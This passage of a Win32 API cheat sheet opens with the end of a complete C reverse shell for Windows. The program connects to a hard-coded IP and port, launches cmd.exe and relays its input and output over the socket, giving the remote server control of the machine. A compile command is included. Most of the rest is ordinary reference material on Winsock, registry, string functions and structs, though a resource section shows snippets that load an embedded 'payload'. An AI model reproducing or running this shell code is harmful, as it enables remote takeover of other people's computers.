▒ ▓██░ ██▒\n * ░ ▓██▄   ▓██  ▀█ ██▒▒██░  ██▒▒█░ █ ░█ ▒▓█    ▄ ▓██ ░▄█ ▒▒██  ▀█▄  ░ ▓██▄   ▒██▀▀██░\n *   ▒   ██▒▓██▒  ▐▌██▒▒██   ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄  ░██▄▄▄▄██   ▒   ██▒░▓█ ░██\n * ▒██████▒▒▒██░   ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█   ▓██▒▒██████▒▒░▓█▒░██▓\n * ▒ ▒▓▒ ▒ ░░ ▒░   ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒  ░ ░▒ ▒  ░░ ▒▓ ░▒▓░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒\n * ░ ░▒  ░ ░░ ░░   ░ ▒░  ░ ▒ ▒░   ▒ ░ ░    ░  ▒     ░▒ ░ ▒░  ▒   ▒▒ ░░ ░▒  ░ ░ ▒ ░▒░ ░\n * ░  ░  ░     ░   ░ ░ ░ ░ ░ ▒    ░   ░  ░          ░░   ░   ░   ▒   ░  ░  ░   ░  ░░ ░\n *       ░           ░     ░ ░      ░    ░ ░         ░           ░  ░      ░   ░  ░  ░\n *                                   Written by: snowcra5h@icloud.com (snowcra5h) 2023\n *\n * This program establishes a reverse shell via the Winsock2 library. It is\n * designed to establish a connection to a specified remote server, and execute commands\n * received from the server on the local machine, giving the server\n * control over the local machine.\n *\n * Compile command (using MinGW on Wine):\n * wine gcc.exe windows.c -o windows.exe -lws2_32\n *\n * This code is intended for educational and legitimate penetration testing purposes only.\n * Please use responsibly and ethically.\n *\n */\n\n#include \u003cwinsock2.h\u003e\n#include \u003cws2tcpip.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cwindows.h\u003e\n#include \u003cprocess.h\u003e\n\nconst char* const PORT = \"1337\";\nconst char* const IP = \"10.37.129.2\";\n\ntypedef struct {\n    HANDLE hPipeRead;\n    HANDLE hPipeWrite;\n    SOCKET sock;\n} ThreadParams;\n\nDWORD WINAPI OutputThreadFunc(LPVOID data);\nDWORD WINAPI InputThreadFunc(LPVOID data);\nvoid CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);\n\nint main(int argc, char** argv) {\n    WSADATA wsaData;\n    int err = WSAStartup(MAKEWORD(2, 2), \u0026wsaData);\n    if (err != 0) {\n        fprintf(stderr, \"WSAStartup failed: %d\\n\", err);\n        return 1;\n    }\n\n    SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);\n    if (sock == INVALID_SOCKET) {\n        fprintf(stderr, \"Socket function failed with error = %d\\n\", WSAGetLastError());\n        WSACleanup();\n        return 1;\n    }\n\n    struct addrinfo hints = { 0 };\n    hints.ai_family = AF_INET;\n    hints.ai_socktype = SOCK_STREAM;\n    struct addrinfo* result;\n    err = getaddrinfo(IP, PORT, \u0026hints, \u0026result);\n    if (err != 0) {\n        fprintf(stderr, \"Failed to get address info: %d\\n\", err);\n        CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);\n        return 1;\n    }\n\n    if (WSAConnect(sock, result-\u003eai_addr, (int)result-\u003eai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {\n        fprintf(stderr, \"Failed to connect.\\n\");\n        CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);\n        return 1;\n    }\n\n    SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };\n    HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;\n    if (!CreatePipe(\u0026hOutputRead, \u0026hOutputWrite, \u0026sa, 0) || !CreatePipe(\u0026hInputRead, \u0026hInputWrite, \u0026sa, 0)) {\n        fprintf(stderr, \"Failed to create pipe.\\n\");\n        CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);\n        return 1;\n    }\n\n    STARTUPINFO startupInfo = { 0 };\n    startupInfo.cb = sizeof(startupInfo);\n    startupInfo.dwFlags = STARTF_USESTDHANDLES;\n    startupInfo.hStdInput = hInputRead;\n    startupInfo.hStdOutput = hOutputWrite;\n    startupInfo.hStdError = hOutputWrite;\n    PROCESS_INFORMATION processInfo;\n\n    WCHAR cmd[] = L\"cmd.exe /k\";\n    if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, \u0026startupInfo, \u0026processInfo)) {\n        fprintf(stderr, \"Failed to create process.\\n\");\n        CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);\n        return 1;\n    }\n\n    CloseHandle(hInputRead);\n    CloseHandle(hOutputWrite);\n    CloseHandle(processInfo.hThread);\n    ThreadParams outputParams = { hOutputRead, NULL, sock };\n    ThreadParams inputParams = { NULL, hInputWrite, sock };\n    HANDLE hThread[2];\n    hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, \u0026outputParams, 0, NULL);\n    hThread[1] = CreateThread(NULL, 0, InputThreadFunc, \u0026inputParams, 0, NULL);\n\n    WaitForMultipleObjects(2, hThread, TRUE, INFINITE);\n    CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);\n    return 0;\n}\n\nvoid CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) {\n    if (hInputWrite != NULL) CloseHandle(hInputWrite);\n    if (hInputRead != NULL) CloseHandle(hInputRead);\n    if (hOutputWrite != NULL) CloseHandle(hOutputWrite);\n    if (hOutputRead != NULL) CloseHandle(hOutputRead);\n    if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess);\n    if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread);\n    if (result != NULL) freeaddrinfo(result);\n    if (sock != NULL) closesocket(sock);\n    WSACleanup();\n}\n\nDWORD WINAPI OutputThreadFunc(LPVOID data) {\n    ThreadParams* params = (ThreadParams*)data;\n    char buffer[4096];\n    DWORD bytesRead;\n    while (ReadFile(params-\u003ehPipeRead, buffer, sizeof(buffer) - 1, \u0026bytesRead, NULL)) {\n        buffer[bytesRead] = '\\0';\n        send(params-\u003esock, buffer, bytesRead, 0);\n    }\n    return 0;\n}\n\nDWORD WINAPI InputThreadFunc(LPVOID data) {\n    ThreadParams* params = (ThreadParams*)data;\n    char buffer[4096];\n    int bytesRead;\n    while ((bytesRead = recv(params-\u003esock, buffer, sizeof(buffer) - 1, 0)) \u003e 0) {\n        DWORD bytesWritten;\n        WriteFile(params-\u003ehPipeWrite, buffer, bytesRead, \u0026bytesWritten, NULL);\n    }\n    return 0;\n}\n```\n[WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup)\n```c\nint WSAStartup(\n    WORD wVersionRequired, \n    LPWSADATA lpWSAData\n); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.\n```\n[WSAConnect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect)\n```c\nint WSAConnect(\n    SOCKET s, // Descriptor identifying a socket.\n    const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target.\n    int namelen, // Length of the sockaddr structure.\n    LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection.\n    LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection.\n    LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction.\n    LPQOS lpGQOS // Pointer to flow specs for the socket group.\n); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.\n```\n[WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend)\n```c\nint WSASend(\n    SOCKET s, // Descriptor identifying a connected socket.\n    LPWSABUF lpBuffers, // Array of buffers for data to be sent.\n    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.\n    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.\n    DWORD dwFlags, // Flags to modify the behavior of the function call.\n    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.\n    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.\n); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.\n```\n[WSARecv](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsarecv)\n```c\nint WSARecv(\n    SOCKET s, // Descriptor identifying a connected socket.\n    LPWSABUF lpBuffers, // Array of buffers to receive the incoming data.\n    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.\n    LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call.\n    LPDWORD lpFlags, // Flags to modify the behavior of the function call.\n    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.\n    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed.\n); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.\n```\n[WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto)\n```c\nint WSASendTo(\n    SOCKET s, // Descriptor identifying a socket.\n    LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.\n    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.\n    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.\n    DWORD dwFlags, // Flags to modify the behavior of the function call.\n    const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.\n    int iToLen, // Size of the address in lpTo.\n    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.\n    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.\n); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.\n```\n[WSARecvFrom](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsarecvfrom)\n```c\nint WSARecvFrom(\n    SOCKET s, // Descriptor identifying a socket.\n    LPWSABUF lpBuffers, // Array of buffers to receive the incoming data.\n    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.\n    LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call.\n    LPDWORD lpFlags, // Flags to modify the behavior of the function call.\n    struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation.\n    LPINT lpFromlen, // Pointer to the size of the lpFrom address structure.\n    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.\n    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed.\n); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.\n```\n[WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect)\n```c\nint WSAAsyncSelect(\n    SOCKET s, // Descriptor identifying the socket.\n    HWND hWnd, // Handle to the window which should receive the message.\n    unsigned int wMsg, // Message to be received when an event occurs.\n    long lEvent // Bitmask specifying a group of conditions to be monitored.\n); // Requests Windows message - based notification of network events for a socket.\n```\n[socket](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket)\n```c\nSOCKET socket(\n    int af, \n    int type, \n    int protocol\n); // Creates a new socket for network communication.\n```\n[bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind)\n```c\nint bind(\n    SOCKET s, \n    const struct sockaddr *name, \n    int namelen\n); // Binds a socket to a specific local address and port.\n```\n[listen](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-listen)\n```c\nint listen(\n    SOCKET s, \n    int backlog\n); // Sets a socket to listen for incoming connections.\n```\n[accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept)\n```c\nSOCKET accept(\n    SOCKET s, \n    struct sockaddr *addr, \n    int *addrlen\n); // Accepts a new incoming connection on a listening socket.\n```\n[connect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect)\n```c\nint connect(\n    SOCKET s, \n    const struct sockaddr *name, \n    int namelen\n); // Initiates a connection on a socket to a remote address.\n```\n[send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send)\n```c\nint send(\n    SOCKET s, \n    const char *buf, \n    int len, \n    int flags\n); // Sends data on a connected socket.\n```\n[recv](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-recv)\n```c\nint recv(\n    SOCKET s, \n    char *buf, \n    int len, \n    int flags\n); // Receives data from a connected socket.\n```\n[closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket)\n```c\nint closesocket(\n    SOCKET s\n); //Closes a socket and frees its resources.\n```\n[gethostbyname](https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-gethostbyname)\n```c\nhostent* gethostbyname(\n    const char* name // either a hostname or an IPv4 address in dotted-decimal notation\n); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo\n```\n\n### Registry Operations\n[RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw)\n```c\nLONG RegOpenKeyExW(\n    HKEY hKey, \n    LPCWTSTR lpSubKey, \n    DWORD ulOptions, \n    REGSAM samDesired, \n    PHKEY phkResult\n); // Opens the specified registry key.\n```\n[RegQueryValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvaluew)\n```c\nLONG RegQueryValueExW(\n    HKEY hKey, \n    LPCWTSTR lpValueName, \n    LPDWORD lpReserved, \n    LPDWORD lpType, \n    LPBYTE lpData, \n    LPDWORD lpcbData\n); // Retrieves the type and data of the specified value name associated with an open registry key.\n```\n[RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw)\n```c\nLONG RegSetValueEx(\n    HKEY hKey, \n    LPCWTSTR lpValueName, \n    DWORD Reserved, \n    DWORD dwType, \n    const BYTE *lpData, \n    DWORD cbData\n); // Sets the data and type of the specified value name associated with an open registry key.\n```\n[RegCloseKey](https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey)\n```c\nLONG RegCloseKey(\n    HKEY hKey\n); // Closes a handle to the specified registry key.\n```\n[RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa)\n```c\nLSTATUS RegCreateKeyExA(\n  [in]            HKEY                        hKey,\n  [in]            LPCSTR                      lpSubKey,\n                  DWORD                       Reserved,\n  [in, optional]  LPSTR                       lpClass,\n  [in]            DWORD                       dwOptions,\n  [in]            REGSAM                      samDesired,\n  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n  [out]           PHKEY                       phkResult,\n  [out, optional] LPDWORD                     lpdwDisposition\n); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive. \n```\n[RegSetValueExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa)\n```c\nLSTATUS RegSetValueExA(\n  [in]           HKEY       hKey,\n  [in, optional] LPCSTR     lpValueName,\n                 DWORD      Reserved,\n  [in]           DWORD      dwType,\n  [in]           const BYTE *lpData,\n  [in]           DWORD      cbData\n); // Sets the data and type of a specified value under a registry key.\n```\n[RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya)\n```c\nLSTATUS RegCreateKeyA(\n  [in]           HKEY   hKey,\n  [in, optional] LPCSTR lpSubKey,\n  [out]          PHKEY  phkResult\n); // Creates the specified registry key. If the key already exists in the registry, the function opens it.\n```\n[RegDeleteKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regdeletekeya)\n```c\nLSTATUS RegDeleteKeyA(\n  [in] HKEY   hKey,\n  [in] LPCSTR lpSubKey\n); // Deletes a subkey and its values. Note that key names are not case sensitive.\n```\n[NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey)\n```c\n__kernel_entry NTSTATUS NtRenameKey(\n  [in] HANDLE          KeyHandle,\n  [in] PUNICODE_STRING NewName\n); // Changes the name of the specified registry key.\n```\n\n### Error Handling\n[WSAGetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsagetlasterror)\n```c\nint WSAGetLastError(\n    void\n); // Returns the error status for the last Windows Sockets operation that failed.\n```\n[WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror)\n```c\nvoid WSASetLastError(\n    int iError\n); // Sets the error status for the last Windows Sockets operation.\n```\n[WSAGetOverlappedResult](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsagetoverlappedresult)\n```c\nBOOL WSAGetOverlappedResult(\n    SOCKET s, \n    LPWSAOVERLAPPED lpOverlapped, \n    LPDWORD lpcbTransfer, \n    BOOL fWait, \n    LPDWORD lpdwFlags\n); // Determines the results of an overlapped operation on the specified socket.\n```\n[WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl)\n```c\nint WSAIoctl(\n    SOCKET s, \n    DWORD dwIoControlCode, \n    LPVOID lpvInBuffer, \n    DWORD cbInBuffer, \n    LPVOID lpvOutBuffer, \n    DWORD cbOutBuffer, \n    LPDWORD lpcbBytesReturned, \n    LPWSAOVERLAPPED lpOverlapped, \n    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine\n); // Controls the mode of a socket.\n```\n[WSACreateEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacreateevent)\n```c\nWSAEVENT WSACreateEvent(\n    void\n); // Creates a new event object.\n```\n[WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent)\n```c\nBOOL WSASetEvent(\n    WSAEVENT hEvent\n); // Sets the state of the specified event object to signaled.\n```\n[WSAResetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaresetevent)\n```c\nBOOL WSAResetEvent(\n    WSAEVENT hEvent\n); // Sets the state of the specified event object to nonsignaled.\n```\n[WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent)\n```c\nBOOL WSACloseEvent(\n    WSAEVENT hEvent\n); // Closes an open event object handle.\n```\n[WSAWaitForMultipleEvents](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsawaitformultipleevents)\n```c\nDWORD WSAWaitForMultipleEvents(\n    DWORD cEvents, \n    const WSAEVENT *lphEvents, \n    BOOL fWaitAll, \n    DWORD dwTimeout, \n    BOOL fAlertable\n); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.\n```\n\n### Resource Management\n[FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea)\n```c\nHRSRC FindResource(\n  [in, optional] HMODULE hModule,   // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.\n  [in]           LPCSTR  lpName,    // The name of the resource.\n  [in]           LPCSTR  lpType     // The resource type.\n); // Determines the location of a resource with the specified type and name in the specified module.\n```\n```c\nHRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);\n```\n[LoadResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource)\n```c\nHGLOBAL LoadResource(\n  [in, optional] HMODULE hModule,    // A handle to the module whose executable file contains the resource. \n  [in]           HRSRC   hResInfo    // A handle to the resource to be loaded.\n); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.\n```\n```c\nHGLOBAL resHandle = resHandle = LoadResource(NULL, res);\n```\n[LockResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-lockresource)\n```c\nLPVOID LockResource(\n  [in] HGLOBAL hResData    // A handle to the resource to be accessed\n); // Retrieves a pointer to the specified resource in memory.\n```\n```c\nunsigned char * payload = (char *) LockResource(resHandle);\n```\n[SizeofResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-sizeofresource)\n```c\nDWORD SizeofResource(\n  [in, optional] HMODULE hModule,    // A handle to the module whose executable file contains the resource\n  [in]           HRSRC   hResInfo    // A handle to the resource. This handle must be created by using FindResource\n); // Retrieves the size, in bytes, of the specified resource.\n```\n```c\nunsigned int payload_len = SizeofResource(NULL, res);\n```\n---\n\n## Unicode String Functions\n```c\n#include \u003cwchar.h\u003e // for wide character string routines\n```\n\n### String Length\n```c\nsize_t wcslen(\n    const wchar_t *str\n); // Returns the length of the given wide string.\n```\n\n### String Copy\n[wcscpy]\n```c\nwchar_t *wcscpy(\n    wchar_t *dest, \n    const wchar_t *src\n); // Copies the wide string from src to dest.\n```\n[wcsncpy]\n```c\nwchar_t *wcsncpy(\n    wchar_t *dest, \n    const wchar_t *src, \n    size_t count\n); // Copies at most count characters from the wide string src to dest.\n```\n\n### String Concatenation\n[wcscat]\n```c\nwchar_t *wcscat(\n    wchar_t *dest, \n    const wchar_t *src\n); // Appends the wide string src to the end of the wide string dest.\n```\n[wcsncat]\n```c\nwchar_t *wcsncat(\n    wchar_t *dest, \n    const wchar_t *src, \n    size_t count\n); // Appends at most count characters from the wide string src to the end of the wide string dest.\n```\n\n### String Comparison\n[wcscmp]\n```c\nint wcscmp(\n    const wchar_t *str1, \n    const wchar_t *str2\n); // Compares two wide strings lexicographically.\n```\n[wcsncmp]\n```c\nint wcsncmp(\n    const wchar_t *str1, \n    const wchar_t *str2, \n    size_t count\n); // Compares up to count characters of two wide strings lexicographically.\n```\n[_wcsicmp]\n```c\nint _wcsicmp(\n    const wchar_t *str1, \n    const wchar_t *str2\n); // Compares two wide strings lexicographically, ignoring case.\n```\n[_wcsnicmp]\n```c\nint _wcsnicmp(\n    const wchar_t *str1, \n    const wchar_t *str2, \n    size_t count\n); // Compares up to count characters of two wide strings lexicographically, ignoring case.\n```\n\n### String Search\n[wcschr]\n```c\nwchar_t *wcschr(\n    const wchar_t *str, \n    wchar_t c\n); // Finds the first occurrence of the wide character c in the wide string str.\n```\n[wcsrchr]\n```c\nwchar_t *wcsrchr(\n    const wchar_t *str, \n    wchar_t c\n); // Finds the last occurrence of the wide character c in the wide string str.\n```\n[wcspbrk]\n```c\nwchar_t *wcspbrk(\n    const wchar_t *str1, \n    const wchar_t *str2\n); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.\n```\n[wcsstr]\n```c\nwchar_t *wcsstr(\n    const wchar_t *str1, \n    const wchar_t *str2\n); // Finds the first occurrence of the wide string str2 in the wide string str1.\n```\n[wcstok]\n```c\nwchar_t *wcstok(\n    wchar_t *str, \n    const wchar_t *delimiters\n); // Splits the wide string str into tokens based on the delimiters.\n```\n\n### Character Classification and Conversion\n[towupper]\n```c\nwint_t towupper(\n    wint_t c\n); // Converts a wide character to uppercase.\n```\n[towlower]\n```c\nwint_t towlower(\n    wint_t c\n); // Converts a wide character to lowercase.\n```\n[iswalpha]\n```c\nint iswalpha(\n    wint_t c\n); // Checks if the wide character is an alphabetic character.\n```\n[iswdigit]\n```c\nint iswdigit(\n    wint_t c\n); // Checks if the wide character is a decimal digit.\n```\n[iswalnum]\n```c\nint iswalnum(\n    wint_t c\n); // Checks if the wide character is an alphanumeric character.\n```\n[iswspace]\n```c\nint iswspace(\n    wint_t c\n); // Checks if the wide character is a whitespace character.\n```\n[iswxdigit]\n```c\nint iswxdigit(\n    wint_t c\n); // Checks if the wide character is a valid hexadecimal digit.\n```\n\n--- \n\n## Win32 Structs Cheat Sheet\n### Common Structs\n[**`SYSTEM_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info)\n```cpp\n#include \u003csysinfoapi.h\u003e\n// Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size.\ntypedef struct _SYSTEM_INFO {\n    union {\n        DWORD dwOemId;\n        struct {\n            WORD wProcessorArchitecture;\n            WORD wReserved;\n        } DUMMYSTRUCTNAME;\n    } DUMMYUNIONNAME;\n    DWORD dwPageSize;\n    LPVOID lpMinimumApplicationAddress;\n    LPVOID lpMaximumApplicationAddress;\n    DWORD_PTR dwActiveProcessorMask;\n    DWORD dwNumberOfProcessors;\n    DWORD dwProcessorType;\n    DWORD dwAllocationGranularity;\n    WORD wProcessorLevel;\n    WORD wProcessorRevision;\n} SYSTEM_INFO;\n```\n[**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime)\n```cpp\n#include \u003cminwinbase.h\u003e\n// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.\ntypedef struct _FILETIME {\n    DWORD dwLowDateTime;\n    DWORD dwHighDateTime;\n} FILETIME;\n```\n[**`STARTUPINFO`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa)\n```cpp\n#include \u003cprocessthreadsapi.h\u003e\n// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.\ntypedef struct _STARTUPINFOA {\n    DWORD  cb;\n    LPSTR  lpReserved;\n    LPSTR  lpDesktop;\n    LPSTR  lpTitle;\n    DWORD  dwX;\n    DWORD  dwY;\n    DWORD  dwXSize;\n    DWORD  dwYSize;\n    DWORD  dwXCountChars;\n    DWORD  dwYCountChars;\n    DWORD  dwFillAttribute;\n    DWORD  dwFlags;\n    WORD   wShowWindow;\n    WORD   cbReserved2;\n    LPBYTE lpReserved2;\n    HANDLE hStdInput;\n    HANDLE hStdOutput;\n    HANDLE hStdError;\n} STARTUPINFOA, *LPSTARTUPINFOA;\n```\n[**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information)\n```cpp\n#include \u003cprocessthreadsapi.h\u003e\n// Contains information about a newly created process and its primary thread.\ntypedef struct _PROCESS_INFORMATION {\n    HANDLE hProcess;\n    HANDLE hThread;\n    DWORD  dwProcessId;\n    DWORD  dwThreadId;\n} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;\n```\n[**`PROCESSENTRY32`**](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32)\n```c\n#include \u003ctlhelp32.h\u003e\ntypedef struct tagPROCESSENTRY32 {\n  DWORD     dwSize;\n  DWORD     cntUsage;\n  DWORD     th32ProcessID;\n  ULONG_PTR th32DefaultHeapID;\n  DWORD     th32ModuleID;\n  DWORD     cntThreads;\n  DWORD     th32ParentProcessID;\n  LONG      pcPriClassBase;\n  DWORD     dwFlags;\n  CHAR      szExeFile[MAX_PATH];\n} PROCESSENTRY32;\n```\n\n[**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85))\n```cpp\n// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.\ntypedef struct _SECURITY_ATTRIBUTES {\n    DWORD  nLength;\n    LPVOID lpSecurityDescriptor;\n    BOOL   bInheritHandle;\n} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;\n```\n[**`OVERLAPPED`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-overlapped)\n```cpp\n#inluce \u003cminwinbase.h\u003e\n// Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations.\ntypedef struct _OVERLAPPED {\n    ULONG_PTR Internal;\n    ULONG_PTR InternalHigh;\n    union {\n        struct {\n            DWORD Offset;\n            DWORD OffsetHigh;\n        } DUMMYSTRUCTNAME;\n        PVOID Pointer;\n    } DUMMYUNIONNAME;\n    HANDLE hEvent;\n} OVERLAPPED, *LPOVERLAPPED;\n```\n[**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)\n```cpp\n#include \u003cguiddef.h\u003e\n// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.\ntypedef struct _GUID {\n    unsigned long  Data1;\n    unsigned short Data2;\n    unsigned short Data3;\n    unsigned char  Data4[8];\n} GUID;\n```\n[**`MEMORY_BASIC_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information)\n```cpp\n#include \u003cwinnt.h\u003e\n// Contains information about a range of pages in the virtual address space of a process.\ntypedef struct _MEMORY_BASIC_INFORMATION {\n    PVOID  BaseAddress;\n    PVOID  AllocationBase;\n    DWORD  AllocationProtect;\n    SIZE_T RegionSize;\n    DWORD  State;\n    DWORD  Protect;\n    DWORD  Type;\n} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;\n```\n[**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime)\n```cpp\n#include \u003cminwinbase.h\u003e\n// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.\ntypedef struct _SYSTEMTIME {\n    WORD wYear;\n    WORD wMonth;\n    WORD wDayOfWeek;\n    WORD wDay;\n    WORD wHour;\n    WORD wMinute;\n    WORD wSecond;\n    WORD wMilliseconds;\n} SYSTEMTIME, *PSYSTEMTIME, 